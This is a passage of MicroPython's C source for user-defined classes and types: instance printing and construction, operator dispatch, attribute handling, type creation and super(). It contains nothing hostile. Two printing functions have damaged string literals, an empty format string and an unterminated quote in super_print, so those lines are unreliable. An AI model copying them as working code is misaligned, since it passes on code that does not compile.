continue; } mp_obj_class_lookup(lookup, bt); if (lookup->dest[0] != MP_OBJ_NULL) { return; } } // search last base (simple tail recursion elimination) assert(MP_OBJ_IS_TYPE(*item, &mp_type_type)); type = (mp_obj_type_t*)MP_OBJ_TO_PTR(*item); } else { type = type->parent; } if (type == &mp_type_object) { // Not a "real" type return; } } } STATIC void instance_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); qstr meth = (kind == PRINT_STR) ? MP_QSTR___str__ : MP_QSTR___repr__; mp_obj_t member[2] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = self, .attr = meth, .meth_offset = offsetof(mp_obj_type_t, print), .dest = member, .is_type = false, }; mp_obj_class_lookup(&lookup, self->base.type); if (member[0] == MP_OBJ_NULL && kind == PRINT_STR) { // If there's no __str__, fall back to __repr__ lookup.attr = MP_QSTR___repr__; lookup.meth_offset = 0; mp_obj_class_lookup(&lookup, self->base.type); } if (member[0] == MP_OBJ_SENTINEL) { // Handle Exception subclasses specially if (mp_obj_is_native_exception_instance(self->subobj[0])) { if (kind != PRINT_STR) { mp_print_str(print, qstr_str(self->base.type->name)); } mp_obj_print_helper(print, self->subobj[0], kind | PRINT_EXC_SUBCLASS); } else { mp_obj_print_helper(print, self->subobj[0], kind); } return; } if (member[0] != MP_OBJ_NULL) { mp_obj_t r = mp_call_function_1(member[0], self_in); mp_obj_print_helper(print, r, PRINT_STR); return; } // TODO: CPython prints fully-qualified type name mp_printf(print, "<%s object at %p>", mp_obj_get_type_str(self_in), self); } mp_obj_t mp_obj_instance_make_new(const mp_obj_type_t *self, size_t n_args, size_t n_kw, const mp_obj_t *args) { assert(mp_obj_is_instance_type(self)); const mp_obj_type_t *native_base; size_t num_native_bases = instance_count_native_bases(self, &native_base); assert(num_native_bases < 2); mp_obj_instance_t *o = MP_OBJ_TO_PTR(mp_obj_new_instance(self, num_native_bases)); // This executes only "__new__" part of obejection creation. // TODO: This won't work will for classes with native bases. // TODO: This is hack, should be resolved along the lines of // https://github.com/micropython/micropython/issues/606#issuecomment-43685883 if (n_args == 1 && *args == MP_OBJ_SENTINEL) { return MP_OBJ_FROM_PTR(o); } // look for __new__ function mp_obj_t init_fn[2] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = NULL, .attr = MP_QSTR___new__, .meth_offset = offsetof(mp_obj_type_t, make_new), .dest = init_fn, .is_type = false, }; mp_obj_class_lookup(&lookup, self); mp_obj_t new_ret = MP_OBJ_FROM_PTR(o); if (init_fn[0] == MP_OBJ_SENTINEL) { // Native type's constructor is what wins - it gets all our arguments, // and none Python classes are initialized at all. o->subobj[0] = native_base->make_new(native_base, n_args, n_kw, args); } else if (init_fn[0] != MP_OBJ_NULL) { // now call Python class __new__ function with all args if (n_args == 0 && n_kw == 0) { mp_obj_t args2[1] = {MP_OBJ_FROM_PTR(self)}; new_ret = mp_call_function_n_kw(init_fn[0], 1, 0, args2); } else { mp_obj_t *args2 = m_new(mp_obj_t, 1 + n_args + 2 * n_kw); args2[0] = MP_OBJ_FROM_PTR(self); memcpy(args2 + 1, args, (n_args + 2 * n_kw) * sizeof(mp_obj_t)); new_ret = mp_call_function_n_kw(init_fn[0], n_args + 1, n_kw, args2); m_del(mp_obj_t, args2, 1 + n_args + 2 * n_kw); } } // https://docs.python.org/3.4/reference/datamodel.html#object.__new__ // "If __new__() does not return an instance of cls, then the new instance's __init__() method will not be invoked." if (mp_obj_get_type(new_ret) != self) { return new_ret; } o = MP_OBJ_TO_PTR(new_ret); // now call Python class __init__ function with all args init_fn[0] = init_fn[1] = MP_OBJ_NULL; lookup.obj = o; lookup.attr = MP_QSTR___init__; lookup.meth_offset = 0; mp_obj_class_lookup(&lookup, self); if (init_fn[0] != MP_OBJ_NULL) { mp_obj_t init_ret; if (n_args == 0 && n_kw == 0) { init_ret = mp_call_method_n_kw(0, 0, init_fn); } else { mp_obj_t *args2 = m_new(mp_obj_t, 2 + n_args + 2 * n_kw); args2[0] = init_fn[0]; args2[1] = init_fn[1]; memcpy(args2 + 2, args, (n_args + 2 * n_kw) * sizeof(mp_obj_t)); init_ret = mp_call_method_n_kw(n_args, n_kw, args2); m_del(mp_obj_t, args2, 2 + n_args + 2 * n_kw); } if (init_ret != mp_const_none) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("__init__() should return None"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "__init__() should return None, not '%s'", mp_obj_get_type_str(init_ret))); } } } return MP_OBJ_FROM_PTR(o); } const qstr mp_unary_op_method_name[] = { [MP_UNARY_OP_BOOL] = MP_QSTR___bool__, [MP_UNARY_OP_LEN] = MP_QSTR___len__, [MP_UNARY_OP_HASH] = MP_QSTR___hash__, #if MICROPY_PY_ALL_SPECIAL_METHODS [MP_UNARY_OP_POSITIVE] = MP_QSTR___pos__, [MP_UNARY_OP_NEGATIVE] = MP_QSTR___neg__, [MP_UNARY_OP_INVERT] = MP_QSTR___invert__, #endif #if MICROPY_PY_SYS_GETSIZEOF [MP_UNARY_OP_SIZEOF] = MP_QSTR_getsizeof, #endif [MP_UNARY_OP_NOT] = MP_QSTR_, // don't need to implement this, used to make sure array has full size }; STATIC mp_obj_t instance_unary_op(mp_uint_t op, mp_obj_t self_in) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); #if MICROPY_PY_SYS_GETSIZEOF if (MP_UNLIKELY(op == MP_UNARY_OP_SIZEOF)) { // TODO: This doesn't count inherited objects (self->subobj) const mp_obj_type_t *native_base; size_t num_native_bases = instance_count_native_bases(mp_obj_get_type(self_in), &native_base); size_t sz = sizeof(*self) + sizeof(*self->subobj) * num_native_bases + sizeof(*self->members.table) * self->members.alloc; return MP_OBJ_NEW_SMALL_INT(sz); } #endif qstr op_name = mp_unary_op_method_name[op]; /* Still try to lookup native slot if (op_name == 0) { return MP_OBJ_NULL; } */ mp_obj_t member[2] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = self, .attr = op_name, .meth_offset = offsetof(mp_obj_type_t, unary_op), .dest = member, .is_type = false, }; mp_obj_class_lookup(&lookup, self->base.type); if (member[0] == MP_OBJ_SENTINEL) { return mp_unary_op(op, self->subobj[0]); } else if (member[0] != MP_OBJ_NULL) { mp_obj_t val = mp_call_function_1(member[0], self_in); // __hash__ must return a small int if (op == MP_UNARY_OP_HASH) { val = MP_OBJ_NEW_SMALL_INT(mp_obj_get_int_truncated(val)); } return val; } else { if (op == MP_UNARY_OP_HASH) { lookup.attr = MP_QSTR___eq__; mp_obj_class_lookup(&lookup, self->base.type); if (member[0] == MP_OBJ_NULL) { // https://docs.python.org/3/reference/datamodel.html#object.__hash__ // "User-defined classes have __eq__() and __hash__() methods by default; // with them, all objects compare unequal (except with themselves) and // x.__hash__() returns an appropriate value such that x == y implies // both that x is y and hash(x) == hash(y)." return MP_OBJ_NEW_SMALL_INT((mp_uint_t)self_in); } // "A class that overrides __eq__() and does not define __hash__() will have its __hash__() implicitly set to None. // When the __hash__() method of a class is None, instances of the class will raise an appropriate TypeError" } return MP_OBJ_NULL; // op not supported } } const qstr mp_binary_op_method_name[] = { /* MP_BINARY_OP_OR, MP_BINARY_OP_XOR, MP_BINARY_OP_AND, MP_BINARY_OP_LSHIFT, MP_BINARY_OP_RSHIFT, */ [MP_BINARY_OP_ADD] = MP_QSTR___add__, [MP_BINARY_OP_SUBTRACT] = MP_QSTR___sub__, #if MICROPY_PY_ALL_SPECIAL_METHODS [MP_BINARY_OP_MULTIPLY] = MP_QSTR___mul__, [MP_BINARY_OP_FLOOR_DIVIDE] = MP_QSTR___floordiv__, [MP_BINARY_OP_TRUE_DIVIDE] = MP_QSTR___truediv__, #endif /* MP_BINARY_OP_MODULO, MP_BINARY_OP_POWER, MP_BINARY_OP_DIVMOD, MP_BINARY_OP_INPLACE_OR, MP_BINARY_OP_INPLACE_XOR, MP_BINARY_OP_INPLACE_AND, MP_BINARY_OP_INPLACE_LSHIFT, MP_BINARY_OP_INPLACE_RSHIFT,*/ #if MICROPY_PY_ALL_SPECIAL_METHODS [MP_BINARY_OP_INPLACE_ADD] = MP_QSTR___iadd__, [MP_BINARY_OP_INPLACE_SUBTRACT] = MP_QSTR___isub__, #endif /*MP_BINARY_OP_INPLACE_MULTIPLY, MP_BINARY_OP_INPLACE_FLOOR_DIVIDE, MP_BINARY_OP_INPLACE_TRUE_DIVIDE, MP_BINARY_OP_INPLACE_MODULO, MP_BINARY_OP_INPLACE_POWER,*/ [MP_BINARY_OP_LESS] = MP_QSTR___lt__, [MP_BINARY_OP_MORE] = MP_QSTR___gt__, [MP_BINARY_OP_EQUAL] = MP_QSTR___eq__, [MP_BINARY_OP_LESS_EQUAL] = MP_QSTR___le__, [MP_BINARY_OP_MORE_EQUAL] = MP_QSTR___ge__, /* MP_BINARY_OP_NOT_EQUAL, // a != b calls a == b and inverts result */ [MP_BINARY_OP_IN] = MP_QSTR___contains__, /* MP_BINARY_OP_IS, */ [MP_BINARY_OP_EXCEPTION_MATCH] = MP_QSTR_, // not implemented, used to make sure array has full size }; STATIC mp_obj_t instance_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { // Note: For ducktyping, CPython does not look in the instance members or use // __getattr__ or __getattribute__. It only looks in the class dictionary. mp_obj_instance_t *lhs = MP_OBJ_TO_PTR(lhs_in); qstr op_name = mp_binary_op_method_name[op]; /* Still try to lookup native slot if (op_name == 0) { return MP_OBJ_NULL; } */ mp_obj_t dest[3] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = lhs, .attr = op_name, .meth_offset = offsetof(mp_obj_type_t, binary_op), .dest = dest, .is_type = false, }; mp_obj_class_lookup(&lookup, lhs->base.type); if (dest[0] == MP_OBJ_SENTINEL) { return mp_binary_op(op, lhs->subobj[0], rhs_in); } else if (dest[0] != MP_OBJ_NULL) { dest[2] = rhs_in; return mp_call_method_n_kw(1, 0, dest); } else { return MP_OBJ_NULL; // op not supported } } STATIC void mp_obj_instance_load_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { // logic: look in instance members then class locals assert(mp_obj_is_instance_type(mp_obj_get_type(self_in))); mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); mp_map_elem_t *elem = mp_map_lookup(&self->members, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP); if (elem != NULL) { // object member, always treated as a value // TODO should we check for properties? dest[0] = elem->value; return; } #if MICROPY_CPYTHON_COMPAT if (attr == MP_QSTR___dict__) { // Create a new dict with a copy of the instance's map items. // This creates, unlike CPython, a 'read-only' __dict__: modifying // it will not result in modifications to the actual instance members. mp_map_t *map = &self->members; mp_obj_t attr_dict = mp_obj_new_dict(map->used); for (size_t i = 0; i < map->alloc; ++i) { if (MP_MAP_SLOT_IS_FILLED(map, i)) { mp_obj_dict_store(attr_dict, map->table[i].key, map->table[i].value); } } dest[0] = attr_dict; return; } #endif struct class_lookup_data lookup = { .obj = self, .attr = attr, .meth_offset = 0, .dest = dest, .is_type = false, }; mp_obj_class_lookup(&lookup, self->base.type); mp_obj_t member = dest[0]; if (member != MP_OBJ_NULL) { #if MICROPY_PY_BUILTINS_PROPERTY if (MP_OBJ_IS_TYPE(member, &mp_type_property)) { // object member is a property; delegate the load to the property // Note: This is an optimisation for code size and execution time. // The proper way to do it is have the functionality just below // in a __get__ method of the property object, and then it would // be called by the descriptor code down below. But that way // requires overhead for the nested mp_call's and overhead for // the code. const mp_obj_t *proxy = mp_obj_property_get(member); if (proxy[0] == mp_const_none) { mp_raise_msg(&mp_type_AttributeError, "unreadable attribute"); } else { dest[0] = mp_call_function_n_kw(proxy[0], 1, 0, &self_in); } return; } #endif #if MICROPY_PY_DESCRIPTORS // found a class attribute; if it has a __get__ method then call it with the // class instance and class as arguments and return the result // Note that this is functionally correct but very slow: each load_attr // requires an extra mp_load_method_maybe to check for the __get__. mp_obj_t attr_get_method[4]; mp_load_method_maybe(member, MP_QSTR___get__, attr_get_method); if (attr_get_method[0] != MP_OBJ_NULL) { attr_get_method[2] = self_in; attr_get_method[3] = MP_OBJ_FROM_PTR(mp_obj_get_type(self_in)); dest[0] = mp_call_method_n_kw(2, 0, attr_get_method); } #endif return; } // try __getattr__ if (attr != MP_QSTR___getattr__) { #if MICROPY_PY_DELATTR_SETATTR // If the requested attr is __setattr__/__delattr__ then don't delegate the lookup // to __getattr__. If we followed CPython's behaviour then __setattr__/__delattr__ // would have already been found in the "object" base class. if (attr == MP_QSTR___setattr__ || attr == MP_QSTR___delattr__) { return; } #endif mp_obj_t dest2[3]; mp_load_method_maybe(self_in, MP_QSTR___getattr__, dest2); if (dest2[0] != MP_OBJ_NULL) { // __getattr__ exists, call it and return its result // XXX if this fails to load the requested attr, should we catch the attribute error and return silently? dest2[2] = MP_OBJ_NEW_QSTR(attr); dest[0] = mp_call_method_n_kw(1, 0, dest2); return; } } } STATIC bool mp_obj_instance_store_attr(mp_obj_t self_in, qstr attr, mp_obj_t value) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); #if MICROPY_PY_BUILTINS_PROPERTY || MICROPY_PY_DESCRIPTORS // With property and/or descriptors enabled we need to do a lookup // first in the class dict for the attribute to see if the store should // be delegated. // Note: this makes all stores slow... how to fix? mp_obj_t member[2] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = self, .attr = attr, .meth_offset = 0, .dest = member, .is_type = false, }; mp_obj_class_lookup(&lookup, self->base.type); if (member[0] != MP_OBJ_NULL) { #if MICROPY_PY_BUILTINS_PROPERTY if (MP_OBJ_IS_TYPE(member[0], &mp_type_property)) { // attribute exists and is a property; delegate the store/delete // Note: This is an optimisation for code size and execution time. // The proper way to do it is have the functionality just below in // a __set__/__delete__ method of the property object, and then it // would be called by the descriptor code down below. But that way // requires overhead for the nested mp_call's and overhead for // the code. const mp_obj_t *proxy = mp_obj_property_get(member[0]); mp_obj_t dest[2] = {self_in, value}; if (value == MP_OBJ_NULL) { // delete attribute if (proxy[2] == mp_const_none) { // TODO better error message? return false; } else { mp_call_function_n_kw(proxy[2], 1, 0, dest); return true; } } else { // store attribute if (proxy[1] == mp_const_none) { // TODO better error message? return false; } else { mp_call_function_n_kw(proxy[1], 2, 0, dest); return true; } } } #endif #if MICROPY_PY_DESCRIPTORS // found a class attribute; if it has a __set__/__delete__ method then // call it with the class instance (and value) as arguments if (value == MP_OBJ_NULL) { // delete attribute mp_obj_t attr_delete_method[3]; mp_load_method_maybe(member[0], MP_QSTR___delete__, attr_delete_method); if (attr_delete_method[0] != MP_OBJ_NULL) { attr_delete_method[2] = self_in; mp_call_method_n_kw(1, 0, attr_delete_method); return true; } } else { // store attribute mp_obj_t attr_set_method[4]; mp_load_method_maybe(member[0], MP_QSTR___set__, attr_set_method); if (attr_set_method[0] != MP_OBJ_NULL) { attr_set_method[2] = self_in; attr_set_method[3] = value; mp_call_method_n_kw(2, 0, attr_set_method); return true; } } #endif } #endif if (value == MP_OBJ_NULL) { // delete attribute #if MICROPY_PY_DELATTR_SETATTR // try __delattr__ first mp_obj_t attr_delattr_method[3]; mp_load_method_maybe(self_in, MP_QSTR___delattr__, attr_delattr_method); if (attr_delattr_method[0] != MP_OBJ_NULL) { // __delattr__ exists, so call it attr_delattr_method[2] = MP_OBJ_NEW_QSTR(attr); mp_call_method_n_kw(1, 0, attr_delattr_method); return true; } #endif mp_map_elem_t *elem = mp_map_lookup(&self->members, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_REMOVE_IF_FOUND); return elem != NULL; } else { // store attribute #if MICROPY_PY_DELATTR_SETATTR // try __setattr__ first mp_obj_t attr_setattr_method[4]; mp_load_method_maybe(self_in, MP_QSTR___setattr__, attr_setattr_method); if (attr_setattr_method[0] != MP_OBJ_NULL) { // __setattr__ exists, so call it attr_setattr_method[2] = MP_OBJ_NEW_QSTR(attr); attr_setattr_method[3] = value; mp_call_method_n_kw(2, 0, attr_setattr_method); return true; } #endif mp_map_lookup(&self->members, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value; return true; } } void mp_obj_instance_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] == MP_OBJ_NULL) { mp_obj_instance_load_attr(self_in, attr, dest); } else { if (mp_obj_instance_store_attr(self_in, attr, dest[1])) { dest[0] = MP_OBJ_NULL; // indicate success } } } STATIC mp_obj_t instance_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t member[2] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = self, .meth_offset = offsetof(mp_obj_type_t, subscr), .dest = member, .is_type = false, }; size_t meth_args; if (value == MP_OBJ_NULL) { // delete item lookup.attr = MP_QSTR___delitem__; mp_obj_class_lookup(&lookup, self->base.type); meth_args = 2; } else if (value == MP_OBJ_SENTINEL) { // load item lookup.attr = MP_QSTR___getitem__; mp_obj_class_lookup(&lookup, self->base.type); meth_args = 2; } else { // store item lookup.attr = MP_QSTR___setitem__; mp_obj_class_lookup(&lookup, self->base.type); meth_args = 3; } if (member[0] == MP_OBJ_SENTINEL) { return mp_obj_subscr(self->subobj[0], index, value); } else if (member[0] != MP_OBJ_NULL) { mp_obj_t args[3] = {self_in, index, value}; // TODO probably need to call mp_convert_member_lookup, and use mp_call_method_n_kw mp_obj_t ret = mp_call_function_n_kw(member[0], meth_args, 0, args); if (value == MP_OBJ_SENTINEL) { return ret; } else { return mp_const_none; } } else { return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t mp_obj_instance_get_call(mp_obj_t self_in, mp_obj_t *member) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); struct class_lookup_data lookup = { .obj = self, .attr = MP_QSTR___call__, .meth_offset = offsetof(mp_obj_type_t, call), .dest = member, .is_type = false, }; mp_obj_class_lookup(&lookup, self->base.type); return member[0]; } bool mp_obj_instance_is_callable(mp_obj_t self_in) { mp_obj_t member[2] = {MP_OBJ_NULL, MP_OBJ_NULL}; return mp_obj_instance_get_call(self_in, member) != MP_OBJ_NULL; } mp_obj_t mp_obj_instance_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_t member[2] = {MP_OBJ_NULL, MP_OBJ_NULL}; mp_obj_t call = mp_obj_instance_get_call(self_in, member); if (call == MP_OBJ_NULL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object not callable"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object is not callable", mp_obj_get_type_str(self_in))); } } mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); if (call == MP_OBJ_SENTINEL) { return mp_call_function_n_kw(self->subobj[0], n_args, n_kw, args); } return mp_call_method_self_n_kw(member[0], member[1], n_args, n_kw, args); } STATIC mp_obj_t instance_getiter(mp_obj_t self_in, mp_obj_iter_buf_t *iter_buf) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t member[2] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = self, .attr = MP_QSTR___iter__, .meth_offset = offsetof(mp_obj_type_t, getiter), .dest = member, .is_type = false, }; mp_obj_class_lookup(&lookup, self->base.type); if (member[0] == MP_OBJ_NULL) { return MP_OBJ_NULL; } else if (member[0] == MP_OBJ_SENTINEL) { mp_obj_type_t *type = mp_obj_get_type(self->subobj[0]); return type->getiter(self->subobj[0], iter_buf); } else { return mp_call_method_n_kw(0, 0, member); } } STATIC mp_int_t instance_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) { mp_obj_instance_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t member[2] = {MP_OBJ_NULL}; struct class_lookup_data lookup = { .obj = self, .attr = MP_QSTR_, // don't actually look for a method .meth_offset = offsetof(mp_obj_type_t, buffer_p.get_buffer), .dest = member, .is_type = false, }; mp_obj_class_lookup(&lookup, self->base.type); if (member[0] == MP_OBJ_SENTINEL) { mp_obj_type_t *type = mp_obj_get_type(self->subobj[0]); return type->buffer_p.get_buffer(self->subobj[0], bufinfo, flags); } else { return 1; // object does not support buffer protocol } } /******************************************************************************/ // type object // - the struct is mp_obj_type_t and is defined in obj.h so const types can be made // - there is a constant mp_obj_type_t (called mp_type_type) for the 'type' object // - creating a new class (a new type) creates a new mp_obj_type_t STATIC void type_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in); mp_printf(print, "", self->name); } STATIC mp_obj_t type_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 1, 3, false); switch (n_args) { case 1: return MP_OBJ_FROM_PTR(mp_obj_get_type(args[0])); case 3: // args[0] = name // args[1] = bases tuple // args[2] = locals dict return mp_obj_new_type(mp_obj_str_get_qstr(args[0]), args[1], args[2]); default: mp_raise_TypeError("type takes 1 or 3 arguments"); } } STATIC mp_obj_t type_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { // instantiate an instance of a class mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in); if (self->make_new == NULL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("cannot create instance"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "cannot create '%q' instances", self->name)); } } // make new instance mp_obj_t o = self->make_new(self, n_args, n_kw, args); // return new instance return o; } STATIC void type_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_type)); mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in); if (dest[0] == MP_OBJ_NULL) { // load attribute #if MICROPY_CPYTHON_COMPAT if (attr == MP_QSTR___name__) { dest[0] = MP_OBJ_NEW_QSTR(self->name); return; } #endif struct class_lookup_data lookup = { .obj = (mp_obj_instance_t*)self, .attr = attr, .meth_offset = 0, .dest = dest, .is_type = true, }; mp_obj_class_lookup(&lookup, self); } else { // delete/store attribute // TODO CPython allows STORE_ATTR to a class, but is this the correct implementation? if (self->locals_dict != NULL) { assert(self->locals_dict->base.type == &mp_type_dict); // MicroPython restriction, for now mp_map_t *locals_map = &self->locals_dict->map; if (dest[1] == MP_OBJ_NULL) { // delete attribute mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_REMOVE_IF_FOUND); // note that locals_map may be in ROM, so remove will fail in that case if (elem != NULL) { dest[0] = MP_OBJ_NULL; // indicate success } } else { // store attribute mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); // note that locals_map may be in ROM, so add will fail in that case if (elem != NULL) { elem->value = dest[1]; dest[0] = MP_OBJ_NULL; // indicate success } } } } } const mp_obj_type_t mp_type_type = { { &mp_type_type }, .name = MP_QSTR_type, .print = type_print, .make_new = type_make_new, .call = type_call, .unary_op = mp_generic_unary_op, .attr = type_attr, }; mp_obj_t mp_obj_new_type(qstr name, mp_obj_t bases_tuple, mp_obj_t locals_dict) { assert(MP_OBJ_IS_TYPE(bases_tuple, &mp_type_tuple)); // MicroPython restriction, for now assert(MP_OBJ_IS_TYPE(locals_dict, &mp_type_dict)); // MicroPython restriction, for now // TODO might need to make a copy of locals_dict; at least that's how CPython does it // Basic validation of base classes size_t len; mp_obj_t *items; mp_obj_tuple_get(bases_tuple, &len, &items); for (size_t i = 0; i < len; i++) { assert(MP_OBJ_IS_TYPE(items[i], &mp_type_type)); mp_obj_type_t *t = MP_OBJ_TO_PTR(items[i]); // TODO: Verify with CPy, tested on function type if (t->make_new == NULL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("type is not an acceptable base type"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "type '%q' is not an acceptable base type", t->name)); } } } mp_obj_type_t *o = m_new0(mp_obj_type_t, 1); o->base.type = &mp_type_type; o->name = name; o->print = instance_print; o->make_new = mp_obj_instance_make_new; o->call = mp_obj_instance_call; o->unary_op = instance_unary_op; o->binary_op = instance_binary_op; o->attr = mp_obj_instance_attr; o->subscr = instance_subscr; o->getiter = instance_getiter; //o->iternext = ; not implemented o->buffer_p.get_buffer = instance_get_buffer; if (len > 0) { // Inherit protocol from a base class. This allows to define an // abstract base class which would translate C-level protocol to // Python method calls, and any subclass inheriting from it will // support this feature. o->protocol = ((mp_obj_type_t*)MP_OBJ_TO_PTR(items[0]))->protocol; if (len >= 2) { o->parent = MP_OBJ_TO_PTR(bases_tuple); } else { o->parent = MP_OBJ_TO_PTR(items[0]); } } o->locals_dict = MP_OBJ_TO_PTR(locals_dict); const mp_obj_type_t *native_base; size_t num_native_bases = instance_count_native_bases(o, &native_base); if (num_native_bases > 1) { mp_raise_TypeError("multiple bases have instance lay-out conflict"); } mp_map_t *locals_map = &o->locals_dict->map; mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(MP_QSTR___new__), MP_MAP_LOOKUP); if (elem != NULL) { // __new__ slot exists; check if it is a function if (MP_OBJ_IS_FUN(elem->value)) { // __new__ is a function, wrap it in a staticmethod decorator elem->value = static_class_method_make_new(&mp_type_staticmethod, 1, 0, &elem->value); } } return MP_OBJ_FROM_PTR(o); } /******************************************************************************/ // super object typedef struct _mp_obj_super_t { mp_obj_base_t base; mp_obj_t type; mp_obj_t obj; } mp_obj_super_t; STATIC void super_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_super_t *self = MP_OBJ_TO_PTR(self_in); mp_print_str(print, "type, PRINT_STR); mp_print_str(print, ", "); mp_obj_print_helper(print, self->obj, PRINT_STR); mp_print_str(print, ">"); } STATIC mp_obj_t super_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; // 0 arguments are turned into 2 in the compiler // 1 argument is not yet implemented mp_arg_check_num(n_args, n_kw, 2, 2, false); mp_obj_super_t *o = m_new_obj(mp_obj_super_t); *o = (mp_obj_super_t){{type_in}, args[0], args[1]}; return MP_OBJ_FROM_PTR(o); } STATIC void super_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] != MP_OBJ_NULL) { // not load attribute return; } assert(MP_OBJ_IS_TYPE(self_in, &mp_type_super)); mp_obj_super_t *self = MP_OBJ_TO_PTR(self_in); assert(MP_OBJ_IS_TYPE(self->type, &mp_type_type)); mp_obj_type_t *type = MP_OBJ_TO_PTR(self->type); struct class_lookup_data lookup = { .obj = MP_OBJ_TO_PTR(self->obj), .attr = attr, .meth_offset = 0, .dest = dest, .is_type = false, }; if (type->parent == NULL) { // no parents, do nothing } else if (((mp_obj_base_t*)type->parent)->type == &mp_type_tuple) { const mp_obj_tuple_t *parent_tuple = type->parent; size_t len = parent_tuple->len; const mp_obj_t *items = parent_tuple->items; for (size_t i = 0; i < len; i++) { assert(MP_OBJ_IS_TYPE(items[i], &mp_type_type)); mp_obj_class_lookup(&lookup, (mp_obj_type_t*)MP_OBJ_TO_PTR(items[i])); if (dest[0] != MP_OBJ_NULL) { return; } } } else { mp_obj_class_lookup(&lookup, type->parent); if (dest[0] != MP_OBJ_NULL) { return; } } mp_obj_class_lookup(&lookup, &mp_type_object); } const mp_obj_type_t mp_type_super = { { &mp_type_type }, .name = MP_QSTR_super, .print = super_print, .make_new = super_make_new, .attr = super_attr, }; void mp_load_super_method(qstr attr, mp_obj_t *dest) { mp_obj_super_t super = {{&mp_type_super}, dest[1], dest[2]}; mp_load_method(MP_OBJ_FROM_PTR(&super), attr, dest); } /******************************************************************************/ // subclassing and built-ins specific to types // object and classinfo should be type objects // (but the function will fail gracefully if they are not) bool mp_obj_is_subclass_fast(mp_const_obj_t object, mp_const_obj_t classinfo) { for (;;) { if (object == classinfo) { return true; } // not equivalent classes, keep searching base classes // object should always be a type object, but just return false if it's not if (!MP_OBJ_IS_TYPE(object, &mp_type_type)) { return false; } const mp_obj_type_t *self = MP_OBJ_TO_PTR(object); if (self->parent == NULL) { // type has no parents return false; } else if (((mp_obj_base_t*)self->parent)->type == &mp_type_tuple) { // get the base objects (they should be type objects) const mp_obj_tuple_t *parent_tuple = self->parent; const mp_obj_t *item = parent_tuple->items; const mp_obj_t *top = item + parent_tuple->len - 1; // iterate through the base objects for (; item < top; ++item) { if (mp_obj_is_subclass_fast(*item, classinfo)) { return true; } } // search last base (simple tail recursion elimination) object = *item; } else { // type has 1 parent object = MP_OBJ_FROM_PTR(self->parent); } } } STATIC mp_obj_t mp_obj_is_subclass(mp_obj_t object, mp_obj_t classinfo) { size_t len; mp_obj_t *items; if (MP_OBJ_IS_TYPE(classinfo, &mp_type_type)) { len = 1; items = &classinfo; } else if (MP_OBJ_IS_TYPE(classinfo, &mp_type_tuple)) { mp_obj_tuple_get(classinfo, &len, &items); } else { mp_raise_TypeError("issubclass() arg 2 must be a class or a tuple of classes"); } for (size_t i = 0; i < len; i++) { // We explicitly check for 'object' here since no-one explicitly derives from it if (items[i] == MP_OBJ_FROM_PTR(&mp_type_object) || mp_obj_is_subclass_fast(object, items[i])) { return mp_const_true; } } return mp_const_false; } STATIC mp_obj_t mp_builtin_issubclass(mp_obj_t object, mp_obj_t classinfo) { if 